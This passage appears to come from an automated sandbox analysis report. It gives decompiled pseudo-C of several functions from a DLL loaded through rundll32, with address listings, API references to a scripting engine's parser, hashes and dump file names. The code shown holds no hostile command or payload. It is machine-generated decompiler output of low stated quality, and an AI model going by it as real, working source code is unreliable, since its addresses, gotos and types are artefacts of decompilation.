												_v8 =  *((intOrPtr*)( *((intOrPtr*)( *_t293 + 4))))(0x2000008c, 0x2000008c, 0, 1, 0);
												_a11 = 1;
												 *0x1006a3d8();
												_t151 =  *0x1006a1d0(0xb0);
												_t302 = _t302 + 4;
												__eflags = _t151;
												if(_t151 == 0) {
													_t152 = 0;
													__eflags = 0;
												} else {
													_t152 = E10008670( *((intOrPtr*)(_t287 + 0x6a)), _t293, _v8, _t197);
												}
												 *(_t152 + 0x72) = _t197;
												_push( *((intOrPtr*)( *((intOrPtr*)(_t287 + 0x6a)) + 0xdc)));
												_t291 = _t152;
												E1000A430();
												goto L69;
											}
										} else {
											_t153 =  *0x1006a1d0(0x9c);
											_t302 = _t301 + 4;
											__eflags = _t153;
											if(_t153 == 0) {
												_t154 = 0;
												__eflags = 0;
											} else {
												_t154 = E1000A920(_t153,  *((intOrPtr*)(_t287 + 0x6a)), _t197, _t197, 0x1ff10000);
											}
											_t291 = _t154;
											 *((intOrPtr*)( *((intOrPtr*)( *_t154 + 0x30))))(_v20);
											_a11 =  *0x1006a240() >> 0x00000005 & 0x00000001;
											L69:
											E10009FE0(_t291);
											_t105 = _t291 + 0x22;
											 *_t105 =  *(_t291 + 0x22) - 1;
											__eflags =  *_t105;
											if( *_t105 == 0) {
												 *((intOrPtr*)( *((intOrPtr*)( *_t291 + 0x14))))();
											}
											_t135 =  *0x1006a1d0(0x34);
											__eflags = _t135;
											if(_t135 == 0) {
												_t292 = 0;
												__eflags = 0;
											} else {
												_t292 = E10011030(_t287, _t197,  &_v60, _v24);
											}
											_v8 = _t292;
											E1000CD10(_t287, _t292, 0);
											 *0x1006a1c8();
											__eflags = _t292;
											if(_t292 != 0) {
												__eflags = _a11;
												if(_a11 != 0) {
													_t113 = _t292 + 0x24;
													 *_t113 =  *(_t292 + 0x24) | 0x08000000;
													__eflags =  *_t113;
												}
											}
										}
										 *0x1006a184();
									}
								}
							}
							_t119 = _v8;
							goto L79;
						} else {
							 *0x1006a160();
							_a4 = _t289;
							 *0x1006a460();
							 *0x1006a3d4();
							_t163 =  *((intOrPtr*)( *((intOrPtr*)( *_t289 + 0xc))))(0x20636f6c);
							__eflags = _t163;
							if(_t163 == 0) {
								L22:
								_t239 =  *0x1009415c; // 0x0
								goto L23;
							} else {
								__eflags = (_t197 & 0xe0000000) - 0x60000000;
								if((_t197 & 0xe0000000) == 0x60000000) {
									L11:
									_t188 =  *0x1006a1d0(0x40);
									_t300 = _t300 + 4;
									_a8 = _t188;
									__eflags = _t188;
									if(_t188 == 0) {
										goto L29;
									} else {
										_t259 =  *0x1009415c; // 0x0
										_v8 = E10012110(__eflags, _t287, _t289, _t197, E10004BD0(_t259, _t197));
									}
								} else {
									__eflags = _t197 - 0x82;
									if(_t197 == 0x82) {
										goto L11;
									} else {
										_t239 =  *0x1009415c; // 0x0
										__eflags = _t197 -  *((intOrPtr*)(_t239 + 4));
										if(_t197 <=  *((intOrPtr*)(_t239 + 4))) {
											L23:
											__eflags = _t197 - 0x72;
											if(_t197 != 0x72) {
												__eflags = _t197 - 0x73;
												if(_t197 != 0x73) {
													E100049E0(_t239,  &_v16,  &_v16, _t197);
													_t166 =  *((intOrPtr*)( *((intOrPtr*)( *_t289 + 0x48))))( &_v16,  &_v32,  &_v28, 0x10000);
													__eflags = _t166;
													if(_t166 != 0) {
														__eflags = _t166 - 2;
														if(_t166 != 2) {
															 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t287 + 0x6a)))) + 0x2c))))(_t166,  &_v16, 0xffffffff, 0);
														}
													} else {
														_t178 =  *0x1006a1d0(0x40);
														_t300 = _t300 + 4;
														__eflags = _t178;
														if(__eflags == 0) {
															_t179 = 0;
															__eflags = 0;
														} else {
															_t179 = E10011FF0(__eflags, _t287, _t289, _t197, _v32, _v28);
														}
														__eflags = _a8 & 0x00000080;
														_v8 = _t179;
														if((_a8 & 0x00000080) != 0) {
															_t180 = E1000FD40(_t287);
															__eflags = _t180;
															if(_t180 != 0) {
																E10020410(_t289,  &_v16);
																_t300 = _t300 + 8;
															}
														}
													}
													 *0x1006a184();
												} else {
													_t183 =  *0x1006a1d0(0x40);
													_t300 = _t300 + 4;
													__eflags = _t183;
													if(__eflags == 0) {
														goto L29;
													} else {
														_v8 = E10011FF0(__eflags, _t287, _t289, _t197, 0x1ff1fffe, 5);
													}
												}
											} else {
												_t186 =  *0x1006a1d0(0x40);
												_t300 = _t300 + 4;
												__eflags = _t186;
												if(__eflags == 0) {
													L29:
													_v8 = 0;
												} else {
													_v8 = E10011FF0(__eflags, _t287, _t289, _t197, 0x1ff1ffff, 5);
												}
											}
										} else {
											_t191 = E100044E0(_t239, _t197);
											__eflags = _t191;
											if(_t191 == 0) {
												goto L22;
											} else {
												goto L11;
											}
										}
									}
								}
							}
							_t294 = _v8;
							__eflags = _t294;
							if(_t294 == 0) {
								__eflags = _a4 + 8;
								 *0x1006a3d8();
								 *((intOrPtr*)( *((intOrPtr*)( *_a4 + 4))))();
								goto L43;
							} else {
								E1000CD10(_t287, _t294, 0);
								__eflags = _a4 + 8;
								 *0x1006a3d8();
								 *((intOrPtr*)( *((intOrPtr*)( *_a4 + 4))))();
								return _t294;
							}
						}
					} else {
						while(1) {
							__eflags =  *((intOrPtr*)(_t119 + 0x1c)) - _t197;
							if( *((intOrPtr*)(_t119 + 0x1c)) == _t197) {
								__eflags = _t203;
								if(_t203 != 0) {
									 *(_t203 + 0x2c) =  *(_t119 + 0x2c);
									 *(_t119 + 0x2c) =  *_t265;
									 *_t265 = _t119;
								}
								break;
							}
							_t203 = _t119;
							_t119 =  *(_t119 + 0x2c);
							__eflags = _t119;
							if(_t119 != 0) {
								continue;
							} else {
								goto L5;
							}
							goto L80;
						}
						_t261 =  *(_t119 + 0x24);
						__eflags = _t261 & 0x04000000;
						if((_t261 & 0x04000000) == 0) {
							L79:
							return _t119;
						} else {
							__eflags = _a8 & 0x00000010;
							if((_a8 & 0x00000010) != 0) {
								goto L79;
							} else {
								_t285 =  *((intOrPtr*)(_t287 + 0x6e));
								__eflags = _t285 - 0x20000097;
								if(_t285 == 0x20000097) {
									L19:
									__eflags =  *(_t287 + 0x14);
									if( *(_t287 + 0x14) == 0) {
										goto L21;
									} else {
										_t262 = _t261 & 0xfbffffff;
										__eflags = _t262;
										 *(_t119 + 0x24) = _t262;
										 *((intOrPtr*)(_t119 + 0x28)) = 2;
										return _t119;
									}
								} else {
									__eflags = _t285 - 0x20000098;
									if(_t285 != 0x20000098) {
										L21:
										__eflags = 0;
										return 0;
									} else {
										goto L19;
									}
								}
							}
						}
					}
				} else {
					_push(0x2d);
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__ecx + 0x6a)))) + 0x24))))();
					return 0;
				}
				L80:
			}

0x1000eb47
0x1000eb4d
0x1000eb65
0x1000eb6d
0x1000eb71
0x1000eb73
0x1000eb76
0x1000eb7d
0x1000eb7f
0x1000eb93
0x1000eb93
0x1000eb96
0x1000eb98
0x1000ede6
0x1000ede6
0x1000edea
0x1000edf0
0x1000edf6
0x1000ee04
0x1000ee0a
0x1000ee10
0x1000ee1b
0x1000ee1f
0x1000ee2d
0x1000ee34
0x1000ee3a
0x1000ee3d
0x1000ee40
0x1000ee42
0x1000ee95
0x1000ee9b
0x1000ee9e
0x1000eea1
0x1000eea3
0x1000ef4d
0x1000ef52
0x1000ef55
0x1000ef57
0x1000ef68
0x1000ef74
0x1000ef76
0x1000ef78
0x1000efaa
0x1000efac
0x1000efae
0x1000efb9
0x1000efbf
0x1000efc2
0x1000efc4
0x1000efd4
0x1000efd4
0x1000efc6
0x1000efcd
0x1000efcd
0x1000efd6
0x1000efd8
0x00000000
0x1000efd8
0x1000ef7a
0x1000ef7a
0x1000ef7e
0x1000ef80
0x1000ef80
0x1000ef95
0x00000000
0x1000ef95
0x1000ef78
0x1000eea9
0x1000eeb8
0x1000eeba
0x1000eebc
0x1000eec6
0x1000eebe
0x1000eebe
0x1000eec1
0x1000eec1
0x1000eed0
0x1000eed9
0x1000eedc
0x1000eefe
0x1000ef01
0x1000ef05
0x1000ef10
0x1000ef16
0x1000ef19
0x1000ef1b
0x1000ef30
0x1000ef30
0x1000ef1d
0x1000ef29
0x1000ef29
0x1000ef32
0x1000ef3e
0x1000ef41
0x1000ef43
0x00000000
0x1000ef43
0x1000ee44
0x1000ee49
0x1000ee4f
0x1000ee52
0x1000ee54
0x1000ee6a
0x1000ee6a
0x1000ee56
0x1000ee63
0x1000ee63
0x1000ee77
0x1000ee79
0x1000ee89
0x1000efdf
0x1000efe3
0x1000efe8
0x1000efe8
0x1000efe8
0x1000efeb
0x1000eff4
0x1000eff4
0x1000eff8
0x1000f001
0x1000f003
0x1000f01a
0x1000f01a
0x1000f005
0x1000f016
0x1000f016
0x1000f021
0x1000f024
0x1000f02c
0x1000f032
0x1000f034
0x1000f036
0x1000f03a
0x1000f03c
0x1000f03c
0x1000f03c
0x1000f03c
0x1000f03a
0x1000f034
0x1000f046
0x1000f046
0x1000ee0a
0x1000edf6
0x1000f04c
0x00000000
0x1000eb9e
0x1000eba1
0x1000eba9
0x1000ebac
0x1000ebb5
0x1000ebc7
0x1000ebc9
0x1000ebcb
0x1000eca3
0x1000eca3
0x00000000
0x1000ebd1
0x1000ebd9
0x1000ebdf
0x1000ec06
0x1000ec08
0x1000ec0e
0x1000ec11
0x1000ec14
0x1000ec16
0x00000000
0x1000ec1c
0x1000ec1c
0x1000ec34
0x1000ec34
0x1000ebe1
0x1000ebe1
0x1000ebe7
0x00000000
0x1000ebe9
0x1000ebe9
0x1000ebef
0x1000ebf2
0x1000eca9
0x1000eca9
0x1000ecac
0x1000ecd6
0x1000ecd9
0x1000ed12
0x1000ed2f
0x1000ed31
0x1000ed33
0x1000ed7d
0x1000ed80
0x1000ed93
0x1000ed93
0x1000ed35
0x1000ed37
0x1000ed3d
0x1000ed40
0x1000ed42
0x1000ed58
0x1000ed58
0x1000ed44
0x1000ed51
0x1000ed51
0x1000ed5a
0x1000ed5e
0x1000ed61
0x1000ed65
0x1000ed6a
0x1000ed6c
0x1000ed73
0x1000ed78
0x1000ed78
0x1000ed6c
0x1000ed61
0x1000ed98
0x1000ecdb
0x1000ecdd
0x1000ece3
0x1000ece6
0x1000ece8
0x00000000
0x1000ecea
0x1000ecfb
0x1000ecfb
0x1000ece8
0x1000ecae
0x1000ecb0
0x1000ecb6
0x1000ecb9
0x1000ecbb
0x1000ed03
0x1000ed05
0x1000ecbd
0x1000ecce
0x1000ecce
0x1000ecbb
0x1000ebf8
0x1000ebf9
0x1000ebfe
0x1000ec00
0x00000000
0x00000000
0x00000000
0x00000000
0x1000ec00
0x1000ebf2
0x1000ebe7
0x1000ebdf
0x1000ed9e
0x1000eda1
0x1000eda3
0x1000edd3
0x1000edd6
0x1000ede4
0x00000000
0x1000eda5
0x1000edaa
0x1000edb2
0x1000edb5
0x1000edc3
0x1000edcd
0x1000edcd
0x1000eda3
0x1000eb81
0x1000eb81
0x1000eb81
0x1000eb84
0x1000ec3c
0x1000ec3e
0x1000ec43
0x1000ec48
0x1000ec4b
0x1000ec4b
0x00000000
0x1000ec3e
0x1000eb8a
0x1000eb8c
0x1000eb8f
0x1000eb91
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x1000eb91
0x1000ec4d
0x1000ec50
0x1000ec56
0x1000f04f
0x1000f055
0x1000ec5c
0x1000ec5c
0x1000ec60
0x00000000
0x1000ec66
0x1000ec66
0x1000ec69
0x1000ec6f
0x1000ec79
0x1000ec79
0x1000ec7d
0x00000000
0x1000ec7f
0x1000ec80
0x1000ec80
0x1000ec87
0x1000ec8a
0x1000ec95
0x1000ec95
0x1000ec71
0x1000ec71
0x1000ec77
0x1000ec98
0x1000ec9a
0x1000eca0
0x00000000
0x00000000
0x00000000
0x1000ec77
0x1000ec6f
0x1000ec60
0x1000ec56
0x1000eb4f
0x1000eb57
0x1000eb59
0x1000eb61
0x1000eb61
0x00000000

APIs

l_isUInteger@DataPool@ScScript@@ABE_NH@Z.MAIN(?,?,?,?), ref: 1000EBF9
lgetUInteger@DataPool@ScScript@@QBEIH@Z.MAIN(?,?), ref: 1000EC23

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: DataInteger@Pool@Script@@$l_islget
String ID:
API String ID: 2543801135-0
Opcode ID: 546013cfdc09dc7fc1597b328cbe0f8d4417cc3bff91a64ec73c4a50c339528d
Instruction ID: 696f99134a8ae463d41d1d4d1857c31e28c560267463d50b415219b3dfd85d8b
Opcode Fuzzy Hash: 546013cfdc09dc7fc1597b328cbe0f8d4417cc3bff91a64ec73c4a50c339528d
Instruction Fuzzy Hash: 4BF1D571A00255AFFB14DFA4CC84FAEB7A6FF45384F104129E906AB295DB74EE40CB91

Uniqueness

Uniqueness Score: -1.00%

Function 1003DFC0 Relevance: 7.8, APIs: 5, Instructions: 254
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E1003DFC0(intOrPtr __ecx, char* __edx, void* __fp0, intOrPtr* _a4, char _a8) {
				char _v8;
				char _v16;
				intOrPtr* _v20;
				char _v24;
				intOrPtr _v28;
				intOrPtr _v52;
				void* _v76;
				char _v80;
				signed int _t59;
				intOrPtr _t62;
				void* _t64;
				intOrPtr _t69;
				intOrPtr _t70;
				intOrPtr _t81;
				intOrPtr _t83;
				intOrPtr _t85;
				intOrPtr _t92;
				void* _t94;
				intOrPtr _t95;
				intOrPtr _t98;
				intOrPtr _t99;
				intOrPtr _t102;
				intOrPtr* _t105;
				intOrPtr _t109;
				intOrPtr* _t145;
				intOrPtr _t146;
				intOrPtr _t149;
				void* _t150;
				intOrPtr _t152;
				signed int _t155;
				void* _t156;
				void* _t157;
				void* _t165;

				_t165 = __fp0;
				_t143 = __edx;
				_push(0xffffffff);
				_push(0x100655fd);
				_push( *[fs:0x0]);
				_t157 = _t156 - 0x40;
				_t59 =  *0x10094144; // 0xa412de5e
				_push(_t59 ^ _t155);
				 *[fs:0x0] =  &_v16;
				_t152 = __ecx;
				_t62 =  *((intOrPtr*)(__ecx + 0x8c));
				if(_t62 == 0x7a || _t62 == 0x7c) {
					_t109 =  *0x1009415c; // 0x0
					_t64 = E100049E0(_t109, _t143,  &_v24, _t62);
					_v8 = 0;
					E1003AC10(_t152, 7, _t64);
					_v8 = 0xffffffff;
					 *0x1006a184();
					E1003A9F0(_t152, 0);
				}
				_t105 = _a4;
				_v20 = _t105;
				_v24 = 0;
				do {
					_t10 = _t152 + 0x8c; // 0x8c
					_t145 = _t10;
					E10043450( &_v80, _t145);
					_t69 =  *_t145;
					_v8 = 1;
					if(_t69 != 0x40000028 || _a8 == 0) {
						if(_t69 != 0x4000005b) {
							if(_t69 != 0x4000002e) {
								if(_t69 == 0x80002e2e) {
									_t70 =  *0x1006a1d0(0x28);
									_a8 = _t70;
									_v8 = 3;
									if(_t70 == 0) {
										_t146 = 0;
									} else {
										_t146 = E10037FD0(_t70, _t145, _t105, 0);
									}
									_v8 = 1;
									E1003A9F0(_t152, 1);
									 *((intOrPtr*)(_t146 + 0x24)) = E1003C3E0(_t152, _t143, 2);
									E1003B0D0(_t152,  *((intOrPtr*)(_t146 + 0x20)), 1);
									E1003B0D0(_t152,  *((intOrPtr*)(_t146 + 0x24)), 0);
									_v8 = 0xffffffff;
									 *0x1006a1c8();
									 *[fs:0x0] = _v16;
									return _t146;
								} else {
									if(_t69 != 0x80003a3a) {
										goto L40;
									} else {
										if(_t105 != _a4) {
											E1003AAC0(_t152, _t143, 0x19, 0x4000003b);
										}
										if( *((intOrPtr*)(_t105 + 0x1c)) == 2 ||  *((intOrPtr*)(_t105 + 8)) == 0xc) {
											_t81 =  *_t105;
											_t143 =  *((intOrPtr*)(_t81 + 0xc));
											if( *((intOrPtr*)( *((intOrPtr*)(_t81 + 0xc))))() != 0) {
												goto L30;
											}
										} else {
											L30:
											E1003AAC0(_t152, _t143, 0x11, 0);
										}
										_t83 =  *0x1006a1d0(0x28);
										_t157 = _t157 + 4;
										_v28 = _t83;
										_v8 = 4;
										if(_t83 == 0) {
											_t149 = 0;
										} else {
											_t149 = E10037FD0(_t83, _t145, _t105, 0);
										}
										_t105 = _t149;
										_v8 = 1;
										 *((intOrPtr*)(_t149 + 0x1c)) = 2;
										_v20 = _t105;
										E1003A9F0(_t152, 0);
										_t85 = E1003C3E0(_t152, _t143, 2);
										 *((intOrPtr*)(_t149 + 0x24)) = _t85;
										if( *((intOrPtr*)(_t85 + 8)) == 0x40000040) {
											E1003AAC0(_t152, _t143, 8, 0);
										}
										goto L36;
									}
								}
							} else {
								E1003A9F0(_t152, 1);
								_t92 =  *_t145;
								if(_t92 != 0x40000028) {
									if(_t92 == 0x4000005b) {
										_push(0);
										_push(8);
										goto L39;
									} else {
										goto L18;
									}
								} else {
									_t98 =  *0x1006a1d0(0x24);
									_t157 = _t157 + 4;
									_v28 = _t98;
									_v8 = 2;
									if(_t98 == 0) {
										_t150 = 0;
									} else {
										_t150 = E10037F30(_t98, _t145, 0);
									}
									_v8 = 1;
									 *((intOrPtr*)(_t150 + 8)) = 0x80002928;
									 *((intOrPtr*)(_t150 + 0x1c)) = 3;
									_t99 = E1003DC60(_t152, _t165);
									_t105 = _v20;
									 *((intOrPtr*)(_t150 + 0x20)) = _t99;
									goto L20;
								}
							}
						} else {
							_t102 = _v24 + 1;
							_v24 = _t102;
							if(_t102 > 0x3e8) {
								_push(0);
								_push(0x1b);
								L39:
								E1003AAC0(_t152, _t143);
								L40:
								_v8 = 0xffffffff;
								 *0x1006a1c8();
								L41:
								 *[fs:0x0] = _v16;
								return _t105;
							} else {
								if( *((intOrPtr*)(_t105 + 0x1c)) == 4) {
									E1003AAC0(_t152, _t143, 0x15,  *((intOrPtr*)(_t105 + 8)));
								}
								L18:
								_t94 = E1003C3E0(_t152, _t143, 3);
								goto L19;
							}
						}
					} else {
						_t94 = E1003C2D0(_t143);
						L19:
						_t150 = _t94;
						L20:
						_v80 = 0;
						_v52 = 2;
						_t95 =  *0x1006a1d0(0x28);
						_t157 = _t157 + 4;
						_v28 = _t95;
						_v8 = 5;
						if(_t95 == 0) {
							_t105 = 0;
							_v20 = 0;
						} else {
							_t143 =  &_v80;
							_t105 = E10037FD0(_t95,  &_v80, _t105, _t150);
							_v20 = _t105;
						}
						goto L36;
					}
					L36:
					_v8 = 0xffffffff;
					 *0x1006a1c8();
				} while ( *((char*)(_t152 + 0x7e)) == 0);
				goto L41;
			}

0x1003dfc0
0x1003dfc0
0x1003dfc3
0x1003dfc5
0x1003dfd0
0x1003dfd1
0x1003dfd7
0x1003dfde
0x1003dfe2
0x1003dfe8
0x1003dfea
0x1003dff3
0x1003dffa
0x1003e005
0x1003e00f
0x1003e016
0x1003e01e
0x1003e025
0x1003e02f
0x1003e02f
0x1003e034
0x1003e037
0x1003e03a
0x1003e041
0x1003e041
0x1003e041
0x1003e04b
0x1003e050
0x1003e052
0x1003e05e
0x1003e077
0x1003e0a5
0x1003e166
0x1003e263
0x1003e26c
0x1003e26f
0x1003e275
0x1003e286
0x1003e277
0x1003e282
0x1003e282
0x1003e28c
0x1003e290
0x1003e29e
0x1003e2a9
0x1003e2b6
0x1003e2be
0x1003e2c5
0x1003e2d0
0x1003e2de
0x1003e16c
0x1003e171
0x00000000
0x1003e177
0x1003e17a
0x1003e185
0x1003e185
0x1003e18e
0x1003e196
0x1003e198
0x1003e1a1
0x00000000
0x00000000
0x1003e1a3
0x1003e1a3
0x1003e1a9
0x1003e1a9
0x1003e1b0
0x1003e1b6
0x1003e1b9
0x1003e1bc
0x1003e1c2
0x1003e1d3
0x1003e1c4
0x1003e1cf
0x1003e1cf
0x1003e1d5
0x1003e1db
0x1003e1df
0x1003e1e6
0x1003e1e9
0x1003e1f2
0x1003e1f7
0x1003e201
0x1003e209
0x1003e209
0x00000000
0x1003e201
0x1003e171
0x1003e0ab
0x1003e0af
0x1003e0b4
0x1003e0bb
0x1003e109
0x1003e25b
0x1003e25d
0x00000000
0x00000000
0x00000000
0x00000000
0x1003e0bd
0x1003e0bf
0x1003e0c5
0x1003e0c8
0x1003e0cb
0x1003e0d1
0x1003e0e1
0x1003e0d3
0x1003e0dd
0x1003e0dd
0x1003e0e5
0x1003e0e9
0x1003e0f0
0x1003e0f7
0x1003e0fc
0x1003e0ff
0x00000000
0x1003e0ff
0x1003e0bb
0x1003e079
0x1003e07c
0x1003e07d
0x1003e085
0x1003e22a
0x1003e22c
0x1003e22e
0x1003e230
0x1003e235
0x1003e238
0x1003e23f
0x1003e245
0x1003e24a
0x1003e258
0x1003e08b
0x1003e08f
0x1003e099
0x1003e099
0x1003e10f
0x1003e113
0x00000000
0x1003e113
0x1003e085
0x1003e066
0x1003e068
0x1003e118
0x1003e118
0x1003e11a
0x1003e11c
0x1003e123
0x1003e12a
0x1003e130
0x1003e133
0x1003e136
0x1003e13c
0x1003e157
0x1003e159
0x1003e13e
0x1003e140
0x1003e14b
0x1003e14d
0x1003e14d
0x00000000
0x1003e13c
0x1003e20e
0x1003e211
0x1003e218
0x1003e21e
0x00000000

APIs

lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(00000000,?,A412DE5E,00000000,00000000,00000000,?,?,?,?,?,00000000,100655FD,000000FF,?,1003E450), ref: 1003E005
l?0UnaryNode@ScScript@@QAE@ABUScanInfo@1@PAVNode@1@@Z.MAIN(0000008C,00000000,?,?,?,?,?,?,00000000,100655FD,000000FF,?,1003E450,00000000), ref: 1003E0D8

Part of subcall function 10037F30: l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C,00000000,?,1003C451,0000008C,00000000,?,A412DE5E,00000000,00000000), ref: 10037F3A

l?0BinaryNode@ScScript@@QAE@ABUScanInfo@1@PAVNode@1@1@Z.MAIN(00000000,00000000,00000000,00000000), ref: 1003E146
l?0BinaryNode@ScScript@@QAE@ABUScanInfo@1@PAVNode@1@1@Z.MAIN(0000008C,00000000,00000000,?,?,?,?,?,?,00000000,100655FD,000000FF,?,1003E450,00000000), ref: 1003E1CA
l?0BinaryNode@ScScript@@QAE@ABUScanInfo@1@PAVNode@1@1@Z.MAIN(0000008C,00000000,00000000,?,?,?,?,?,?,00000000,100655FD,000000FF,?,1003E450,00000000), ref: 1003E27D

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@$Node@Scan$Info@1@$BinaryNode@1@1@$Core@@DataInfo@1@@Node@1@@Pool@String@Symbol@Unarylget
String ID:
API String ID: 3692376746-0
Opcode ID: 911db4b0f16b93b92505b77eff897af145ddd8f0bab08aaff3353a87f174ac9f
Instruction ID: 4facf698fa21d94e1fc23934f293245bbe511479c3802f608fff5f15ecd8216a
Opcode Fuzzy Hash: 911db4b0f16b93b92505b77eff897af145ddd8f0bab08aaff3353a87f174ac9f
Instruction Fuzzy Hash: C0910670B00285AFEB16CB64C885B5EB7E5EB45752F104229F506EF2C1DBB4AE80CB91

Uniqueness

Uniqueness Score: -1.00%

Function 1000D270 Relevance: 7.7, APIs: 5, Instructions: 249
COMMON

Download Yara Rule

C-Code - Quality: 29%

			E1000D270(intOrPtr* __ecx, signed int _a4, char _a8) {
				signed int _v8;
				char _v16;
				intOrPtr _v20;
				char _v21;
				char _v28;
				signed int _v32;
				char _v36;
				intOrPtr* _v40;
				signed int _t90;
				char _t94;
				char _t95;
				intOrPtr _t99;
				void* _t102;
				void* _t105;
				void* _t149;
				intOrPtr _t150;
				intOrPtr _t167;
				intOrPtr* _t177;
				intOrPtr* _t181;
				intOrPtr _t208;
				signed int _t216;
				signed int _t217;
				signed int _t218;
				signed int _t220;
				signed int _t222;
				intOrPtr* _t225;
				signed int _t229;
				void* _t230;

				_push(0xffffffff);
				_push(0x1005ea36);
				_push( *[fs:0x0]);
				_t90 =  *0x10094144; // 0xa412de5e
				_push(_t90 ^ _t229);
				 *[fs:0x0] =  &_v16;
				_v20 = _t230 - 0x18;
				_t225 = __ecx;
				_v40 = __ecx;
				if(__ecx != 0) {
					 *((intOrPtr*)(__ecx + 0x22)) =  *((intOrPtr*)(__ecx + 0x22)) + 1;
				}
				_t216 =  *(_t225 + 0x14);
				_v8 = 0;
				if(_t216 == 0) {
					_v21 = 0;
					_t94 =  *((intOrPtr*)(E10009E50() + 0x10));
					_v28 = _t94;
					if(_t94 == 0) {
						_v32 = 0x100000;
						 *((intOrPtr*)(E10009E50() + 0x10)) =  &_v32 - _v32;
					}
					_t95 = _a8;
					_t217 = _a4;
					_v8 = 3;
					_t149 = (0 | _t95 != 0x00000000) + 0x72;
					 *((intOrPtr*)( *((intOrPtr*)( *_t225 + 0x94))))((0 | _t95 == 0x00000000) + 0x72, _t217, 0);
					if( *0x1006a204() != 5) {
						L20:
						_t99 =  *_t225;
						_t205 =  *((intOrPtr*)(_t99 + 0x94));
						 *((intOrPtr*)( *((intOrPtr*)(_t99 + 0x94))))(_t149, _t217, 0);
						if( *0x1006a204() == 5) {
							 *0x1006a32c();
							_v8 = 5;
							if( *((intOrPtr*)(_t217 + 0x10)) != 5) {
								_t177 = 0;
							} else {
								_t177 =  *((intOrPtr*)(_t217 + 8));
							}
							_t205 =  &_v36;
							 *((intOrPtr*)( *((intOrPtr*)( *_t177 + 0xa4))))(_t225,  &_v36, _t217);
							if( *0x1006a204() != 5) {
								_v21 = 1;
							}
							_v8 = 3;
							 *0x1006a31c();
						}
					} else {
						 *0x1006a32c();
						_v8 = 4;
						if( *((intOrPtr*)(_t217 + 0x10)) != 5) {
							_t181 = 0;
						} else {
							_t181 =  *((intOrPtr*)(_t217 + 8));
						}
						_t208 =  *_t181;
						_t205 =  *((intOrPtr*)(_t208 + 0xa4));
						 *((intOrPtr*)( *((intOrPtr*)(_t208 + 0xa4))))(_t225,  &_v36, _t217);
						if( *0x1006a204() != 5) {
							_v21 = 1;
						}
						_v8 = 3;
						 *0x1006a31c();
						if(_v21 == 0) {
							goto L20;
						}
					}
					_t102 = E10009E50();
					_t150 = _v21;
					 *((intOrPtr*)(_t102 + 0x10)) = _v28;
					if(_t150 == 0) {
						_v8 = 0;
						 *0x1006a2c8();
						_t167 =  *0x1009415c; // 0x0
						_t105 = E100049E0(_t167, _t205,  &_a8,  *((intOrPtr*)(_t225 + 0x6e)));
						_t218 = _t217 | 0xffffffff;
						_v8 = 7;
						E100099F0( *((intOrPtr*)(_t225 + 0x6a)), 0x17, _t105, _t218, 0);
						_v8 = 0;
						 *0x1006a184();
						_t84 = _t225 + 0x22;
						 *_t84 =  *((intOrPtr*)(_t225 + 0x22)) + _t218;
						_v8 = _t218;
						if( *_t84 == 0) {
							 *((intOrPtr*)( *((intOrPtr*)( *_t225 + 0x14))))();
						}
						 *[fs:0x0] = _v16;
						return 0;
					} else {
						_t220 = _t217 | 0xffffffff;
						_t72 = _t225 + 0x22;
						 *_t72 =  *((intOrPtr*)(_t225 + 0x22)) + _t220;
						_v8 = _t220;
						if( *_t72 == 0) {
							 *((intOrPtr*)( *((intOrPtr*)( *_t225 + 0x14))))();
						}
						 *[fs:0x0] = _v16;
						return _t150;
					}
				} else {
					 *0x1006a190();
					_v8 = 1;
					 *0x1006a160();
					_v32 = _t216;
					 *0x1006a460();
					 *0x1006a3d4();
					_v8 = 2;
					if(_a8 == 0) {
						 *((intOrPtr*)( *((intOrPtr*)( *_t216 + 0x84))))(_a4);
						if( *0x1006a2cc() == 0) {
							 *((intOrPtr*)( *((intOrPtr*)( *_t216 + 0x88))))( &_v28);
							goto L7;
						}
					} else {
						 *((intOrPtr*)( *((intOrPtr*)( *_t216 + 0x88))))( &_v28);
						L7:
						 *0x1006a290( &_v28);
					}
					_v8 = 1;
					 *0x1006a3d8();
					 *((intOrPtr*)( *((intOrPtr*)( *_v32 + 4))))();
					_v8 = 0;
					 *0x1006a184();
					_t222 = _t216 | 0xffffffff;
					_t29 = _t225 + 0x22;
					 *_t29 =  *((intOrPtr*)(_t225 + 0x22)) + _t222;
					_v8 = _t222;
					if( *_t29 == 0) {
						 *((intOrPtr*)( *((intOrPtr*)( *_t225 + 0x14))))();
					}
					 *[fs:0x0] = _v16;
					return 1;
				}
			}

0x1000d273
0x1000d275
0x1000d280
0x1000d287
0x1000d28e
0x1000d292
0x1000d298
0x1000d29b
0x1000d29d
0x1000d2a2
0x1000d2a4
0x1000d2a4
0x1000d2a7
